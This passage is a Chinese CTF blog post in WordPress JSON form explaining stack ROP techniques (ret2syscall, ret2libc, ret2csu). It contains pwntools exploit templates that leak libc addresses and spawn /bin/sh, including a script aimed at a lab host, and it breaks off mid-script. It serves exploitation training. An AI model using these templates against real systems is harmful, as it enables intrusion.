{"id":302,"date":"2024-12-12T22:13:47","date_gmt":"2024-12-12T14:13:47","guid":{"rendered":"http:\/\/8.141.27.105\/?p=302"},"modified":"2025-04-29T18:24:43","modified_gmt":"2025-04-29T10:24:43","slug":"ctfpwn%e6%a0%88%e5%88%a9%e7%94%a8rop%e7%b3%bb%e5%88%97","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/ctfpwn%e6%a0%88%e5%88%a9%e7%94%a8rop%e7%b3%bb%e5%88%97\/","title":{"rendered":"ROP\u7cfb\u5217"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/ctfpwn%e6%a0%88%e5%88%a9%e7%94%a8rop%e7%b3%bb%e5%88%97\/#ret2text\" title=\"ret2text\">ret2text<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/ctfpwn%e6%a0%88%e5%88%a9%e7%94%a8rop%e7%b3%bb%e5%88%97\/#ret2shellcode\" title=\"ret2shellcode\">ret2shellcode<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/ctfpwn%e6%a0%88%e5%88%a9%e7%94%a8rop%e7%b3%bb%e5%88%97\/#ret2syscall\" title=\"ret2syscall\">ret2syscall<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/ctfpwn%e6%a0%88%e5%88%a9%e7%94%a8rop%e7%b3%bb%e5%88%97\/#ret2libc\" title=\"ret2libc\">ret2libc<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/ctfpwn%e6%a0%88%e5%88%a9%e7%94%a8rop%e7%b3%bb%e5%88%97\/#ret2csu\" title=\"ret2csu\">ret2csu<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/ctfpwn%e6%a0%88%e5%88%a9%e7%94%a8rop%e7%b3%bb%e5%88%97\/#SROP\" title=\"SROP\">SROP<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2text\"><\/span>ret2text<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u8986\u76d6ret\uff0c\u52ab\u6301\u7a0b\u5e8f\u6d41\u5230\u7a0b\u5e8f\u7247\u6bb5\uff08\u5982\u540e\u95e8\u51fd\u6570\uff09\u6267\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2shellcode\"><\/span>ret2shellcode<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u8986\u76d6ret\uff0c\u52ab\u6301\u7a0b\u5e8f\u6d41\u5230\u81ea\u5df1\u5e03\u7f6e\u7684shellcode\u5904\u6267\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2syscall\"><\/span>ret2syscall<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7ROP\u94fe\u6765\u7ed9\u5bc4\u5b58\u5668\u8d4b\u503c\uff0c\u89e6\u53d1\u4e2d\u65ad\u8c03\u7528\u7cfb\u7edf\u51fd\u6570\u6765getshell\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5e38\u89c1\u51fd\u6570\u7684\u8c03\u7528\u53f7:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/blog.csdn.net\/qq_29343201\/article\/details\/52209588\">linux \u7cfb\u7edf\u8c03\u7528\u53f7\u8868_x86 \u7cfb\u7edf\u8c03\u7528\u53f7-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7cfb\u7edf\u8c03\u7528\u6b65\u9aa4\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1.\u628a\u6240\u9700\u51fd\u6570\u7684\u8c03\u7528\u53f7\u8d4b\u503c\u7ed9rax\/eax\u5bc4\u5b58\u5668<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.\u7ed9\u53c2\u6570\u4f20\u53c2\uff0c32\u4f4d\u5c31\u76f4\u63a5\u5728\u6808\u4e0a\u9694\u4e00\u4e2a\u5355\u4f4d\uff0c64\u4f4d\u662frdi-&gt;rsi-&gt;rdx-&gt;rcx-&gt;r8-&gt;r9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3.\u89e6\u53d1\u4e2d\u65ad\uff0c32\u4f4d\u662fint 80\uff1b64\u4f4d\u662fsyscall\u3002\u7136\u540e\u5c31\u80fd\u8c03\u7528\u51fd\u6570\u6267\u884c\u5bf9\u5e94\u6307\u4ee4\u4e86\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u793a\u4f8bpayload\uff0c\u5df2\u77e5binsh\u5730\u5740\uff0c\u4f20\u53c2\u7136\u540e\u8c03\u7528system\u51fd\u6570\u6765getshell:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload = b'a'*offset\npayload += p64(pop_rax)+p64(0x3b)\npayload += p64(pop_rdi)+p64(binsh)\npayload += p64(pop_rsi_r15)+p64(0)+p64(0)\npayload += p64(pop_rdx)+p64(0)\npayload += p64(syscall)\n\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2libc\"><\/span>ret2libc<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><br>\u901a\u5e38\u7528\u4e8e\u9898\u76ee\u672c\u8eab\u6ca1\u7ed9binsh\u548csystem\/execve\u51fd\u6570\u7684\u65f6\u5019\u3002libc\u662f\u4e00\u4e2a<strong>\u52a8\u6001\u94fe\u63a5\u5e93<\/strong>\uff0c\u91cc\u9762\u6709system\u548cbinsh\u5b57\u7b26\u4e32\uff0c\u53ef\u4ee5\u901a\u8fc7\u95f4\u63a5\u7684\u65b9\u5f0f\u6765\u627e\u5b83\u4eec\u3002\u5148\u627e\u4e00\u4e2a\u53ef\u4ee5\u6253\u5370\u7684\u51fd\u6570\uff0c\u8fd9\u4e2a\u51fd\u6570\u9700\u6ee1\u8db3\u5728got\u8868\u4e2d\uff0c\u5e76\u4e14\u4e5f\u5f97\u5728libc\u4e2d\u3002\u5148\u5229\u7528\u6ea2\u51fa\u6765\u6267\u884c\u8fd9\u4e2a\u6253\u5370\u7684\u51fd\u6570\uff0c\u7136\u540e\u628a\u5b83got\u5730\u5740\u5904\u7684\u503c\uff0c\u5373\u771f\u5b9e\u5730\u5740\u6253\u5370\u51fa\u6765\uff0c\u6839\u636e\u5b83\u7684\u7684\u771f\u5b9e\u5730\u5740\u53ef\u4ee5\u7528LibcSearch\u641c\u5230\u5bf9\u5e94\u7684libc\u7248\u672c\uff08\u4e0d\u540c\u7248\u672c\u5404\u51fd\u6570\u504f\u79fb\u4e0d\u4e00\u6837\uff09\uff0c\u7136\u540e\u7528\u5b83\u7684\u5730\u5740\u51cf\u53bblibc\u7248\u672c\u4e2d\u5b83\u7684\u504f\u79fb\uff0c\u5c31\u80fd\u5f97\u5230libc\u7684\u8d77\u59cb\u5730\u5740\uff0c\u7528libc\u7684\u8d77\u59cb\u5730\u5740\u52a0\u4e0a\u76ee\u6807\u51fd\u6570\uff08\u5982system\uff09\u7684\u504f\u79fb\uff0c\u5c31\u662f\u76ee\u6807\u51fd\u6570\u7684\u771f\u6b63\u5730\u5740\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b65\u9aa4\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1.\u6cc4\u9732\u7279\u5b9a\u51fd\u6570\u5730\u5740<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u5e38\u7528write\u6216\u8005puts\uff0c\u6211\u66f4\u559c\u6b22\u7528\u540e\u8005\uff0c\u56e0\u4e3a\u53c2\u6570\u53ea\u9700\u8981\u7ed9\u4e00\u4e2a\u5c31\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">write\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload=cyclic(offset)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(4)+p64(write_plt)+p64(main)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">puts:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload=cyclic(offset)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.\u901a\u8fc7\u6cc4\u9732\u7684\u51fd\u6570\u5730\u5740\u8ba1\u7b97\u6240\u9700\u51fd\u6570\u7684\u5730\u5740:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e24\u79cd\u529e\u6cd5\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u9898\u76ee\u7ed9\u4e86libc\u5c31\u76f4\u63a5\u7528\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>libc=ELF(\"\/home\/monke\/vmcourse_pwn\/5\/libc.so.6\")\nlibcbase=puts-libc.sym&#91;'puts']\nsystem=libcbase+libc.sym&#91;'system']\nbinsh = libcbase + next(libc.search(b\"\/bin\/sh\"))\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u9898\u76ee\u6ca1\u7ed9\uff0c\u5c31\u5f97\u7528libcsearcher\uff0c\u4e00\u4e2a\u4e00\u4e2a\u8bd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>libc=LibcSearcher(\"puts\",puts)\nlibcbase=puts-libc.dump('puts')\nsystem=libcbase+libc.dump('system')\nbinsh=libcbase+libc.dump('str_bin_sh')<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\"><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">3.\u62ff\u5230binsh\u548csystem\u5730\u5740\u540e\u5c31\u662f\u5e38\u89c4ROP\u6765getshell<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload=cyclic(offset)+p64(pop_rdi)+p64(binsh)+p64(system)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6a21\u677f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\nfrom LibcSearcher import *\np=remote(\"10.12.153.73\",10302)\n#p = process(\"\/home\/monke\/vmcourse_pwn\/5\/pwn.bin\")\nelf=ELF(\"\/home\/monke\/vmcourse_pwn\/5\/pwn.bin\")\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"debug\")\nputs_plt=elf.plt&#91;\"puts\"]\nputs_got=elf.got&#91;\"puts\"]\nmain_addr=elf.sym&#91;\"main\"]\npop_rdi=0x40117e\nret=0x40101a\n \npayload=cyclic(64+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)\n \np.sendlineafter('Go!!!',payload)\nputs = u64(p.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))\n \nprint(hex(puts))\n \nlibc=ELF(\"\/home\/monke\/vmcourse_pwn\/5\/libc.so.6\")\nlibcbase=puts-libc.sym&#91;'puts']\nsystem=libcbase+libc.sym&#91;'system']\nbinsh = libcbase + next(libc.search(b\"\/bin\/sh\"))\n#libc=LibcSearcher(\"puts\",puts)\n#libcbase=puts-libc.dump('puts')\n#system=libcbase+libc.dump('system')\n#binsh=libcbase+libc.dump('str_bin_sh')\nprint(hex(system))\nprint(hex(binsh))\n \npayload=cyclic(64+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)\np.sendlineafter('Go!!!',payload)\np.interactive()<\/code><\/pre>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\">\u6b64\u5916\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u6709\u65f6\u5019ret2libc\u7c7b\u578b\u9898\u4f1a\u51fa\u73b0\u8fd9\u6837\u4e00\u79cd\u60c5\u51b5\uff0c\u5373\u4f7f\u7528ebx\/rbx\u6765\u4fdd\u5b58got\u8868\u5730\u5740\uff0c\u8fd9\u4e2a\u65f6\u5019\u9700\u8981\u5c06\u5176\u4fdd\u7559\uff0c\u4e0d\u80fd\u8986\u76d6\uff1a<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/YS90TR7HQZTUR8C5PTO_5S-1024x339.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"339\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/YS90TR7HQZTUR8C5PTO_5S-1024x339.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-881\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n<\/div>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/T6M_CKJ850I74MYFA.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"906\" height=\"849\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/T6M_CKJ850I74MYFA.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-880\"  sizes=\"auto, (max-width: 906px) 100vw, 906px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u76f4\u63a5\u7528IDA\u770b\uff1a<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/1LFCMSPMEXTVTXNP.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"233\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/1LFCMSPMEXTVTXNP.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-882\"  sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/div><\/figure>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\">payload\u6a21\u677f\u9700\u8981\u66f4\u6539\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ebx = base + 0x2fc0\npayload = cyclic(132) + p32(ebx) + b\"bbbb\" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2csu\"><\/span>ret2csu<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">64\u4f4d\u4f20\u53c2\u662frdi-&gt;rsi-&gt;rdx-&gt;rcx-&gt;r8-&gt;r9\uff0c\u4f46\u662f\u6709\u65f6\u5019\u7a0b\u5e8f\u627e\u4e0d\u5230pop rdx\u7684gadget\uff0c\u90a3\u600e\u4e48\u5b9e\u73b0\u4f20\u53c2\u5462\uff1f\u8fd9\u65f6\u5019\u5c31\u9700\u8981ret2csu\u4e86\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u8c03\u7528\u4e86libc\u5e93\u7684\u7a0b\u5e8f\u91cc\u9762\uff0c\u4f1a\u6709\u8fd9\u6837\u4e00\u4e2a\u51fd\u6570\u6765\u8fdb\u884c\u521d\u59cb\u5316\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/@BMSE8I4_0KA@C9@WO.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"263\" height=\"127\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/@BMSE8I4_0KA@C9@WO.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-303\" style=\"width:277px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/77YK0O8DJIUDFKPSMYC.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"954\" height=\"442\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/77YK0O8DJIUDFKPSMYC.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-304\"  sizes=\"auto, (max-width: 954px) 100vw, 954px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ece\u4e0a\u56fe\u53ef\u4ee5\u770b\u5230\uff0c\u867d\u7136\u6ca1\u6709\u76f4\u63a5pop rdx\uff0c\u4f46\u662f\u6709pop r13\u548cmov rdx,r13\uff0c\u4e5f\u5c31\u662f\u53ef\u4ee5\u95f4\u63a5\u64cd\u63a7rdx\u7684\u503c\uff0c\u8fd9\u5c31\u89e3\u51b3\u4e86\u6ca1\u6709pop rdx\u7684\u95ee\u9898\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528\u51fd\u6570\u6a21\u677f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):\n\npayload = cyclic(offset)\n\npayload += p64(csu_behind_gadget)\n\npayload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)\n\npayload += p64(csu_front_gadget)\n\npayload += p64(0) * 7\n\npayload += p64(main_addr)\n\np.sendlineafter('You Find Me?!!\\n',payload)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>csu(0,0, 1, elf.got&#91;\"read\"], 16, bss, 0, vuln)\n\np.send(p64(execve) + b'\/bin\/sh\\x00')\n\ncsu(0,0, 1, bss, 0, 0, bss+8, vuln)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u228ff45d\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d\uff0cfill\u662f\u56e0\u4e3acsu_behind_gadget\u5f00\u5934\u6709\u4e2aadd rsp,8 \uff0c\u5f97\u5e73\u8861\u4e00\u4e0b\u6808\u3002rbx\u4e3a0\uff0crbp\u4e3a1\u662f\u4e3a\u4e86\u6ee1\u8db3\u6307\u4ee4add rbx,1; cmp rbx,rbp;\u5269\u4e0b\u7684\u5c31\u662f\u6b63\u5e38\u4f20\u53c2\uff0c\u6ce8\u610f\uff0c\u4e0d\u540c\u7a0b\u5e8f\u5bc4\u5b58\u5668\u7684\u5bf9\u5e94\u5173\u7cfb\u53ef\u80fd\u6709\u504f\u5dee\uff0c\u6bd4\u5982\u6709\u65f6\u5019\u662fmov rdx,r13\uff1b\u6709\u65f6\u5019\u662fmov rdx,r15;\u5f97\u6839\u636e\u5177\u4f53\u60c5\u51b5\u6765\u5229\u7528\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u9898 UCTC CTF2024 a gift\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u766b72cf\">\u5e38\u89c4\u7684ret2csu<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u9d3e90d1\">\u627ecsu\u7247\u6bb5:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/56FOY5J65_82L4MN6-1024x555.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"555\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/56FOY5J65_82L4MN6-1024x555.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-305\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ub8eb9a0e\">\u6240\u4ee5\u6709<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):<br><br>payload = cyclic(16)<br><br>payload += p64(csu_behind_gadget)<br><br>payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)<br><br>payload += p64(csu_front_gadget)<br><br>payload += p64(0) * 7<br><br>payload += p64(main_addr)<br><br>p.sendlineafter('You Find Me?!!\\n',payload)<br><br><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u23cff6ed\">\u540e\u9762\u6309\u5957\u8def\u6765\u5c31\u884c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\nfrom LibcSearcher import*\n\n#\u8fde\u63a5\u8fdc\u7a0b\n\ncontext(log_level = 'debug', arch = 'amd64', os = 